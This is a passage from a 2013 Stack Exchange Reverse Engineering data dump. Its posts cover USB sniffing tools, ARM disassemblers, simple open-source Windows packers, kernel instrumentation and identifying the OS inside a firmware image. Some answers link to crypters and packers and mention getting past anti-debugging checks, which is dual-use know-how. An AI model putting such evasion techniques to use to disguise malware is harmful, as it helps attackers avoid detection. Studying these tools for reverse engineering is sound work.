LastEditDate="2013-04-15T18:57:41.757" LastActivityDate="2013-04-15T18:57:41.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1788" PostTypeId="2" ParentId="1786" CreationDate="2013-04-15T19:04:51.113" Score="9" Body="&lt;p&gt;In addition to Peter Andersson's list of tools, you may also want to consider &lt;a href=&quot;http://www.sysnucleus.com/&quot;&gt;USBTrace&lt;/a&gt;&#xA;and &lt;a href=&quot;http://www.perisoft.net/bushound/index.htm&quot;&gt;Bus Hound&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-04-15T19:04:51.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1789" PostTypeId="2" ParentId="1786" CreationDate="2013-04-15T20:37:53.543" Score="7" Body="&lt;p&gt;Tho maybe not directly what you are looking for I'd just like to add one item to Peter Andersson's thorough answer. Travis Goodspeed's &lt;a href=&quot;http://travisgoodspeed.blogspot.com/2012/07/emulating-usb-devices-with-python.html&quot;&gt;facedancer&lt;/a&gt; (&lt;a href=&quot;http://goodfet.sourceforge.net/hardware/facedancer11/&quot;&gt;some more recent info&lt;/a&gt; ). Its design is also &lt;a href=&quot;http://goodfet.sourceforge.net/hardware/facedancer11/&quot;&gt;open source&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Facedancer Board, a tool for implementing USB devices in host-side Python using the GoodFET framework. Access to the USB chip is extremely low-level, so protocols may be mis-implemented in all sorts of creative ways. This allows a clever neighbor to quickly find and exploit USB driver vulnerabilities from the comfort of a modern workstation, only later porting such exploits to run standalone.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It can be used for sniffing too. &lt;strike&gt;I couldn't immediately find a link to buy one&lt;/strike&gt; Pre assembled boards are not yet available, but you can buy the circuit boards &lt;a href=&quot;http://goodfet.sourceforge.net/orders/&quot;&gt;here&lt;/a&gt;, also Travis is, as he likes to say, a good neighbor and gives them away at conferences. Anyway, it should be pretty cheap option if you can assemble it yourself. &lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2013-04-15T20:43:35.287" LastActivityDate="2013-04-15T20:43:35.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1790" PostTypeId="2" ParentId="1769" CreationDate="2013-04-15T21:13:24.423" Score="8" Body="&lt;p&gt;Probably a niche but my RE skills often help to get (CR)Applications to work in virtual environments such as Citrix XenApp/XenDesktop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I write a lot about these experiences on my &lt;a href=&quot;http://www.remkoweijnen&quot;&gt;blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;self promo warning&lt;/strong&gt;: here are a few recent examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.remkoweijnen.nl/blog/2013/03/11/the-case-of-the-com-port-redirection/&quot;&gt;The case of the COM Port redirection&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.remkoweijnen.nl/blog/2013/02/19/cannot-create-shell-notification-icon-error-during-unattended-install/&quot;&gt;Cannot create shell notification icon error during unattended install&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.remkoweijnen.nl/blog/2013/01/25/the-case-of-the-missing-audio/&quot;&gt;The case of the missing audio&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-04-15T21:13:24.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1791" PostTypeId="1" AcceptedAnswerId="1793" CreationDate="2013-04-15T22:04:52.597" Score="11" ViewCount="9313" Body="&lt;p&gt;Are there any ARM (or other non-x86) disassemblers that decompose an instruction into its component parts in a machine-friendly structure? Ideally it would be something like &lt;a href=&quot;http://www.cs.virginia.edu/kim/publicity/pin/docs/20751/Xed/html/&quot; rel=&quot;noreferrer&quot;&gt;XED&lt;/a&gt; or &lt;a href=&quot;https://code.google.com/p/distorm/&quot; rel=&quot;noreferrer&quot;&gt;distorm3&lt;/a&gt;, which disassemble into a structure and then provide an API for querying things like &quot;Is this a call?&quot; &quot;Is this a conditional branch?&quot; etc., or getting the operands of an instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://code.google.com/p/armstorm/&quot; rel=&quot;noreferrer&quot;&gt;armstorm&lt;/a&gt;, but it currently only supports THUMB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: To clarify, I'm looking for something that can be called from within another program and hopefully has liberal licensing (GPL-compatible).&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="257" LastEditDate="2013-04-17T16:17:27.283" LastActivityDate="2016-02-18T08:00:23.497" Title="Are there any ARM disassemblers that provide structured output?" Tags="|tools|disassembly|arm|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1792" PostTypeId="1" AcceptedAnswerId="1801" CreationDate="2013-04-15T22:13:42.270" Score="18" ViewCount="7653" Body="&lt;p&gt;There are great questions here about different types of packers and that is very interesting to me.  I would like to try my hand at reverse engineering one.  Since I am very new to this, I would like the source code as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hoping that by continuously compiling and recompiling the source, I can learn to match it up in IDA Pro and gain a better understanding of both topics at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked out the source code for UPX but it is very complex as it handles many different platforms and types.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an open source code packer that deals exclusively with Windows executables and is &lt;strong&gt;very simple&lt;/strong&gt; to understand?&lt;/p&gt;&#xA;" OwnerUserId="1749" LastEditorUserId="189" LastEditDate="2013-04-16T12:46:38.480" LastActivityDate="2013-04-16T19:32:33.303" Title="Is there any simple open source Windows packer?" Tags="|windows|packers|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1793" PostTypeId="2" ParentId="1791" CreationDate="2013-04-15T22:21:18.470" Score="11" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/jbremer/darm&quot;&gt;DARM&lt;/a&gt; (GitHub) by Jurriaan Bremer is an ARMv7 disassembler written in C and is available under a 3-Clause BSD License.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: It currently does not support Thumb mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple example of using DARM could be as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The structure which will hold all the metadata about the disassembled instruction...&#xA;darm_t d;&#xA;&#xA;// disassemble a 32bit opcode...&#xA;if( darm_armv7_disasm( &amp;amp;d, 0xE12FFF14 ) &amp;gt;= 0 )&#xA;{&#xA;    if( d.instr == I_BX )&#xA;    {&#xA;        // do something with a BX instructiuon...&#xA;    }&#xA;&#xA;    // print the disassembled full instruction &#xA;    darm_str_t str;&#xA;    if( darm_str( &amp;amp;d, &amp;amp;str) &amp;gt; 0 )&#xA;        printf( &quot;%s\n&quot;, str.instr );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="123" LastEditorUserId="123" LastEditDate="2013-04-15T22:34:02.220" LastActivityDate="2013-04-15T22:34:02.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1794" PostTypeId="2" ParentId="1792" CreationDate="2013-04-15T22:21:35.183" Score="6" Body="&lt;p&gt;I recommend you to take a look to &lt;a href=&quot;http://sourceforge.net/projects/yodap/files/Yoda%20Protector/1.02/yP1.02src.zip/download&quot;&gt;Yoda's Protector&lt;/a&gt;. There is a version with source code. Unfortunately, it doesn't work on Windows 7 for some reason (but does work on Win XP). Apart from this, I don't know any other open source packer or protector (except UPX, as you mentioned).&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-04-15T22:21:35.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1795" PostTypeId="2" ParentId="1791" CreationDate="2013-04-15T22:21:47.363" Score="3" Body="&lt;p&gt;Yes, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA Pro's SDK&lt;/a&gt; allows you to access instructions' component parts via the &lt;a href=&quot;http://books.google.com/books?id=BoFaZ1dB1H0C&amp;amp;pg=PA297&amp;amp;lpg=PA297&amp;amp;dq=insn_t&amp;amp;ots=-HSh_LVbyS&amp;amp;sig=j97GQWhmvOi-QnaJ8ICZ2cGct58&amp;amp;hl=en&amp;amp;sa=X&amp;amp;ei=C31sUeBNk_7wBK7ugKAB&amp;amp;ved=0CEkQ6AEwBQ#v=onepage&amp;amp;q=insn_t&quot; rel=&quot;nofollow&quot;&gt;insn_t class&lt;/a&gt; (in ua.hpp).&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-04-15T22:21:47.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1796" PostTypeId="2" ParentId="1792" CreationDate="2013-04-15T22:23:24.457" Score="9" Body="&lt;p&gt;This looks like what you want: &lt;a href=&quot;http://sourceforge.net/projects/sepacker/&quot;&gt;sePACK&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A simple windows .exe/.dll packer. (Compresses code section and your&#xA;  compiled binaries waste less space) Almost whole codes written in pure&#xA;  C and very minimal also understandable (which makes modifying very&#xA;  easy; like debugger traps, encryption etc.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-04-15T22:23:24.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1797" PostTypeId="1" AcceptedAnswerId="1874" CreationDate="2013-04-15T22:27:57.460" Score="11" ViewCount="2047" Body="&lt;p&gt;Is there anything like PIN or DynamoRIO to instrument at Kernel level? The platforms I'm more interested on are Windows and OSX.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="189" LastEditDate="2013-04-20T05:50:06.107" LastActivityDate="2013-04-20T07:03:32.200" Title="Kernel level Dynamic Binary Instrumentation" Tags="|windows|dynamic-analysis|osx|kernel-mode|instrumentation|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1798" PostTypeId="2" ParentId="1763" CreationDate="2013-04-16T01:24:42.123" Score="4" Body="&lt;p&gt;Small update to 90h's answer: the key can be calculated dynamically without making assumptions about the size of any specific file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The total of all the file sizes reported in &lt;code&gt;httpd&lt;/code&gt; should match the size of the &lt;code&gt;/etc/www&lt;/code&gt; file, which is the actual size of all the files. Since the same fixed value is added to all the file sizes reported in &lt;code&gt;httpd&lt;/code&gt;, you can simply take the difference in reported size vs actual size and divide it by the number of files to find what fixed value was used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key = (total_reported_size - actual_etc_www_size) / number_of_files&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="245" LastEditDate="2013-04-17T00:11:30.767" LastActivityDate="2013-04-17T00:11:30.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1800" PostTypeId="2" ParentId="1792" CreationDate="2013-04-16T02:38:34.733" Score="5" Body="&lt;p&gt;Here are 4 open-source packers, written in &lt;a href=&quot;http://en.wikipedia.org/wiki/Embarcadero_Delphi&quot; rel=&quot;nofollow&quot;&gt;Delphi&lt;/a&gt; (you can &lt;a href=&quot;http://docwiki.embarcadero.com/RADStudio/XE3/en/Delphi_to_C++_types_mapping&quot; rel=&quot;nofollow&quot;&gt;convert to C++ if you want&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.delphibasics.info/home/delphibasicscounterstrikewireleases/exefog11-executablepackerbybagie&quot; rel=&quot;nofollow&quot;&gt;ExeFog 1.1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.delphibasics.info/home/delphibasicscounterstrikewireleases/polymorphiccrypter-morphine27byholyfather&quot; rel=&quot;nofollow&quot;&gt;Polymorphic Crypter, Morphine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.delphibasics.info/home/delphibasicscounterstrikewireleases/ahpacker01byfeuerraderahteam&quot; rel=&quot;nofollow&quot;&gt;AHPacker 0.1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.delphibasics.info/home/delphibasicscounterstrikewireleases/ghfprotector10&quot; rel=&quot;nofollow&quot;&gt;GHF Protector 1.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you don't have a copy of Delphi, you can use the open-source Lazarus IDE with the Free Pascal (FPC) compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lazarus + FPC can open Delphi project files and can usually compile Delphi projects without modification: &lt;a href=&quot;http://sourceforge.net/projects/lazarus/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/lazarus/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2013-04-16T15:11:34.887" LastActivityDate="2013-04-16T15:11:34.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1801" PostTypeId="2" ParentId="1792" CreationDate="2013-04-16T10:21:21.910" Score="12" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://mordor.in/&quot;&gt;SimplePack&lt;/a&gt; is &lt;em&gt;simple&lt;/em&gt; and open-source (albeit in ASM, not in C)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SimplePack is not &lt;em&gt;trivial&lt;/em&gt;, yet simple enough so that I typically use it myself as a first 'hands-on' for binary packer training.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;also, my minimalists packers (&lt;a href=&quot;https://code.google.com/p/corkami/source/browse/#svn%2Ftrunk%2Fwip%2FMakePE%2Fexamples%2Fpacker&quot;&gt;source&lt;/a&gt;/&lt;a href=&quot;http://corkami.googlecode.com/files/mini_packers.zip&quot;&gt;binaries&lt;/a&gt;) in python (EP-patcher, compresser, cryptor, dropper, protecter, virtualizer, mutater). No  real use, but made as smallest possible examples for studies.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;For reference only, &lt;a href=&quot;http://hem.passagen.se/polyene/&quot;&gt;PolyEnE&lt;/a&gt; is also open-source (in ASM, again), but not very simple - YMMV.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-16T19:32:33.303" LastActivityDate="2013-04-16T19:32:33.303" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1802" PostTypeId="1" CreationDate="2013-04-16T14:51:16.913" Score="6" ViewCount="327" Body="&lt;p&gt;I have a Hauppauge HVR-950Q running on a stripped down debian. I am trying to use the Hauppauge HVR-950Q from the command line to parse subtitles and build a library of accurate subtitles. I am not sure how to start on this one being that I want to do all this programmatically in the background. Some information can be found &lt;a href=&quot;http://www.linuxtv.org/wiki/index.php/Hauppauge_WinTV-HVR-950Q&quot; rel=&quot;nofollow&quot;&gt;at linuxtv.org HVR-950Q&lt;/a&gt; but I do not see any types of API nor can I find documentation so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I probe this or any other device in such a way that I would start &quot;finding&quot; things I need? &lt;/p&gt;&#xA;" OwnerUserId="299" LastEditorUserId="189" LastEditDate="2014-01-11T07:05:42.307" LastActivityDate="2014-01-11T07:05:42.307" Title="Hauppauge HVR-950Q - Linux - Signal Processing for extra data like subtitles" Tags="|hardware|linux|" AnswerCount="0" CommentCount="4" ClosedDate="2014-01-11T07:06:06.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="1803" PostTypeId="2" ParentId="1786" CreationDate="2013-04-16T15:14:58.270" Score="7" Body="&lt;p&gt;If you aren't afraid to get your hands dirty, on Windows you could always write a filter driver on top of or below the device object for the dongle. The &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff548294.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;IoAttachDevice()&lt;/code&gt;&lt;/a&gt; function and the three other functions starting with that name are your friend. The advantage of that is to have a complete in-software solution for the problem without the expenses involved with hardware sniffers. You'll notice that this is actually what the USBpcap project does in &lt;a href=&quot;https://github.com/desowin/usbpcap/blob/master/USBPcapDriver/USBPcapFilterManager.c&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;USBPcapFilterManager.c&lt;/code&gt;&lt;/a&gt;. So if you are merely writing this for research, this would be a good starting point, unless the GPL is too restrictive for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a potential downside with in-software solutions. A filter driver will only see what the other drivers want it to see. Keep in mind that in Windows kernel mode all drivers have the same privileges. Even attaching to the root hub may not always yield meaningful results. So if one driver decides to do funny things such as stealing entry points (&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff550710.aspx&quot; rel=&quot;nofollow&quot;&gt;IRP major function codes&lt;/a&gt;) to proactively counter filtering or debugging of any kind, it becomes an arms race. Otherwise it will be the cheapest solution you can get, given you only need this to work on a particular OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I was you I'd first sniff the user mode traffic between the library (hook &lt;code&gt;DeviceIoControl&lt;/code&gt;, &lt;code&gt;ReadFile&lt;/code&gt;, &lt;code&gt;WriteFile&lt;/code&gt; et al, or their native counterparts) and the driver or the library and the application that requires the dongle. Of course if the dongle poses as a HID device you'd have to look for the respective IOCTLs and decode them or hook the HID functions directly. This is the method I was using to investigate the traffic sent between a sports watch with USB connectivity and my box. I based it on &lt;a href=&quot;https://github.com/OpenRCE/paimei&quot; rel=&quot;nofollow&quot;&gt;PaiMai&lt;/a&gt; and &lt;a href=&quot;https://github.com/OpenRCE/pydbg&quot; rel=&quot;nofollow&quot;&gt;pydbg&lt;/a&gt;, because the application wasn't guarding against being debugged. If yours does, you may have to cheat a little to &quot;convince&quot; the application to play nicely &lt;a href=&quot;http://newgre.net/idastealth&quot; rel=&quot;nofollow&quot;&gt;IDAStealth provided a few good pointers&lt;/a&gt; (link is dead as of May 2016) how to go about.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2016-05-31T08:10:38.633" LastActivityDate="2016-05-31T08:10:38.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1804" PostTypeId="1" CreationDate="2013-04-16T15:30:55.860" Score="9" ViewCount="3585" Body="&lt;p&gt;I have pulled the Firmware binary from a PPC and have it loaded into IDA.  Now I'm trying to determine what operating system it contains but don't know where to start.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="1563" LastEditDate="2013-04-17T03:04:25.890" LastActivityDate="2013-04-19T04:14:51.900" Title="What's the easiest way to determine the OS contained in a firmware binary?" Tags="|file-format|firmware|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1805" PostTypeId="2" ParentId="1804" CreationDate="2013-04-16T15:42:45.150" Score="6" Body="&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; Problem is that such an endeavor is very specific to the file one is looking at. So a lot of common sense and presumably experience is required to deviate from the path outlined here when necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, you have numerous options, and all of us probably have kind of a recipe for this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I for one would start with &lt;a href=&quot;http://linux.die.net/man/1/file&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;file&lt;/code&gt;&lt;/a&gt; (Windows version &lt;a href=&quot;http://gnuwin32.sourceforge.net/packages/file.htm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Assuming that fails, I would search the web for the hex values of the first 8 to 16 bytes to see what comes up. In addition I would throw in search terms that fit my scenario.&lt;/li&gt;&#xA;&lt;li&gt;That not yielding anything, I would proceed to see whether I can convince the tool &lt;a href=&quot;http://linux.die.net/man/1/strings&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;strings&lt;/code&gt;&lt;/a&gt; to show me anything useful (there is a &lt;a href=&quot;http://live.sysinternals.com&quot; rel=&quot;nofollow&quot;&gt;Windows version of strings at Sysinternals&lt;/a&gt;). This may be sufficient already.&lt;/li&gt;&#xA;&lt;li&gt;However, if the file contains compressed or encrypted blobs, I would now bring in &lt;a href=&quot;http://code.google.com/p/firmware-mod-kit/&quot; rel=&quot;nofollow&quot;&gt;firmware-mod-kit&lt;/a&gt;. It'll build straight from SVN (tested it only a few days ago), comes with &lt;code&gt;binwalk&lt;/code&gt; included and allows to also unpack some &lt;code&gt;initrd&lt;/code&gt;s which cannot be unpacked by the vanilla &lt;code&gt;binwalk&lt;/code&gt;. Alternatively you can try &lt;a href=&quot;https://gitorious.org/gpl-compliance-tools/gpl-compliance-scripts/blobs/master/find-firmware.pl&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;find-firmware.pl&lt;/code&gt;&lt;/a&gt; (or in general the &lt;a href=&quot;https://gitorious.org/gpl-compliance-tools/gpl-compliance-scripts&quot; rel=&quot;nofollow&quot;&gt;set of scripts of which it is part&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Failing all that, I would open the file in a hex editor that supports some kind of binary templates (e.g. &lt;a href=&quot;http://www.sweetscape.com/010editor/templates.html&quot; rel=&quot;nofollow&quot;&gt;010 Editor&lt;/a&gt; or &lt;a href=&quot;http://www.hhdsoftware.com/free-hex-editor&quot; rel=&quot;nofollow&quot;&gt;freeware Neo&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;... from there I would look for &lt;em&gt;patterns&lt;/em&gt;. And that's where it gets really hard to describe how I tick, it's a visual thing. Basically I would be looking for offsets, but the patterns of &lt;code&gt;00&lt;/code&gt; and non-&lt;code&gt;00&lt;/code&gt; would also tip me off in some cases. Additionally I might use the histogram functionality, provided the hex editor has one, to see whether a particular blob of data is likely to be encrypted or compressed (which both makes for a relatively even distribution of the byte values). Knowing that the platform (PPC) is Big Endian, I would assume that the offsets will also be Big Endian. So that setting would be switched on and then I'll see whether I can decode the meaning of something like a file header. If I can, then I'll check all of the blobs that I find and see whether I can discern some kind of information from them, such as a compression algorithm. For example &lt;code&gt;gzip&lt;/code&gt; has specific lead bytes, whereas raw &lt;code&gt;deflate&lt;/code&gt; doesn't unless the programmer chose to use them. Failing all of that, I would have to assume this is some other compression format for the time being and would use the &lt;a href=&quot;http://www.7-zip.org/sdk.html&quot; rel=&quot;nofollow&quot;&gt;LZMA SDK&lt;/a&gt; as a reference to come up with a working theory which one (usually the &lt;code&gt;binwalk&lt;/code&gt; step from before is responsible to do exactly that). Looking for fingerprints of these I would hopefully be able to extract the blobs that are files in their own right and can be handled by external tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all of those previous methods would fail, I would set out to find a piece of software that is supposed to &lt;em&gt;know&lt;/em&gt; the file format to some extent, such as a firmware flasher program which takes the firmware file as input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: If your firmware blob comes from a driver, e.g. in Linux, you would of course start by looking into that driver for clues.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Original answer (before it was clear that this is a firmware binary)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I would start with the &lt;a href=&quot;http://linux.die.net/man/1/file&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;file&lt;/code&gt;&lt;/a&gt; command (Windows version &lt;a href=&quot;http://gnuwin32.sourceforge.net/packages/file.htm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, thanks to amccormack - see his comment). It will usually tell you for the well-known executable formats for which OS (and kernel etc) it was built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# On an AIX 5.3 machine&#xA;$ file python&#xA;python: executable (RISC System/6000) or object module not stripped&#xA;# Debian 6 on PPC64&#xA;$ file python&#xA;python: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, with unknown capability 0x41000000 = 0x13676e75, with unknown capability 0x10000 = 0xb0401, stripped&#xA;# Ubuntu 10.04, x64&#xA;$ file python&#xA;python: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped&#xA;# Windows&#xA;&amp;gt;file C:\Python27\python.exe&#xA;C:\Python27\python.exe; PE32 executable for MS Windows (console) Intel 80386 32-bit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-04-16T20:43:25.650" LastActivityDate="2013-04-16T20:43:25.650" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1806" PostTypeId="2" ParentId="1804" CreationDate="2013-04-16T15:47:59.580" Score="1" Body="&lt;p&gt;Most operating Systems have some kind of string in it that identifies the os and version. So by looking at the file with a hex editor you can often identify the os. Else you'll need to search for known signatures/footprints.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-04-16T15:47:59.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1807" PostTypeId="2" ParentId="1792" CreationDate="2013-04-16T17:18:44.033" Score="5" Body="&lt;p&gt;You might be better off looking at a generic data packer first, such as &lt;a href=&quot;http://code.google.com/p/lz4/&quot;&gt;LZ4&lt;/a&gt;.  It's a very simple packer written in C.  There are various unpackers in several languages, too, on the same site.  Jumping right into a runtime packer means lots of file format details that, really, no-one gets quite right in all cases.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-04-16T17:18:44.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1808" PostTypeId="2" ParentId="1804" CreationDate="2013-04-16T20:19:44.943" Score="3" Body="&lt;p&gt;It isn't rocket science. IDA is not the tool to use for making this simple determination. Check the strings found in the firmware image. If you can't find any, it may be encrypted and/or compressed in its entirety. In either case, try &lt;a href=&quot;http://binwalk.org&quot; rel=&quot;nofollow&quot;&gt;Binwalk&lt;/a&gt; for additional assistance. &lt;em&gt;The type of file system used in the firmware can also be a clue&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there aren't but so many possible choices. Some are (most common in bold):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Linux&lt;/strong&gt; (various branches, uLinux, OpenWrt, ...)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;VxWorks&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;BSD (various branches, iOS would be one)&lt;/li&gt;&#xA;&lt;li&gt;LynxOS&lt;/li&gt;&#xA;&lt;li&gt;QNE&lt;/li&gt;&#xA;&lt;li&gt;QNX&lt;/li&gt;&#xA;&lt;li&gt;Windows CE&lt;/li&gt;&#xA;&lt;li&gt;Windows NT embedded&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To poster, since you say it may be VxWorks, here's one possible header data structure, as used in the WR54G(S)v5, as documented &lt;a href=&quot;http://bitsum.com/openwiking/owbase/WRT54G5_CFE/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;////////////////////////////////////////////////////////////////&#xA;// Linksys VxWorks based firmware image format&#xA;#pragma pack(1)&#xA;&#xA;typedef struct _VxFileDescriptor&#xA;{         &#xA;  DWORD nFileId_BigEnd;     // file type (see below)&#xA;  DWORD nFileSize_BigEnd;   &#xA;} VxFileDescriptor, *pVxFileDescriptor;&#xA;&#xA;typedef struct _VxLinksysHeader&#xA;{&#xA;  DWORD nCodePattern;                        &#xA;  BYTE cUnknown_4[4];&#xA;  BYTE cYear;       &#xA;  BYTE cMonth;      &#xA;  BYTE cDay;        &#xA;  BYTE nProductVersion_0;   &#xA;  BYTE nMinorVersion_0;   &#xA;  BYTE cZUnknown_0D;&#xA;  BYTE cImageFormatVersion[4];    &#xA;  BYTE cZUnknown_12[238];  &#xA;  //&#xA;  // offset 0x100  -- begining of an secondary header?&#xA;  //  &#xA;  // After this point, all integers are stored big endian &#xA;  // and should be read by endian neutral code &#xA;  // (that is, read as big endian). &#xA;  //&#xA;  BYTE nProductVersion_1;   &#xA;  BYTE nMinorVersion_1;     &#xA;  WORD nMajorVersion_1;       &#xA;  BYTE cZUnknown_104[2];  &#xA;  WORD nHeaderSizeBigEnd;&#xA;  DWORD nChecksumBigEnd; &#xA;  BYTE cZUnknown_10B[2];  &#xA;  WORD nUnknown_10D;     &#xA;  BYTE cZUnknown_110[0x30]; &#xA;  BYTE cModelName[0x20]; &#xA;  BYTE cVendorName[0x20];&#xA;  VxFileDescriptor TrailingFiles[8]; &#xA;    // parts of file that follow primary file descriptors &#xA;  VxFileDescriptor FileDescriptors[8]; &#xA;    // primary file descriptors, immediately follow header  &#xA;} VxLinksysHeader, *pVxLinksysHeader;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="1563" LastEditDate="2013-04-19T04:14:51.900" 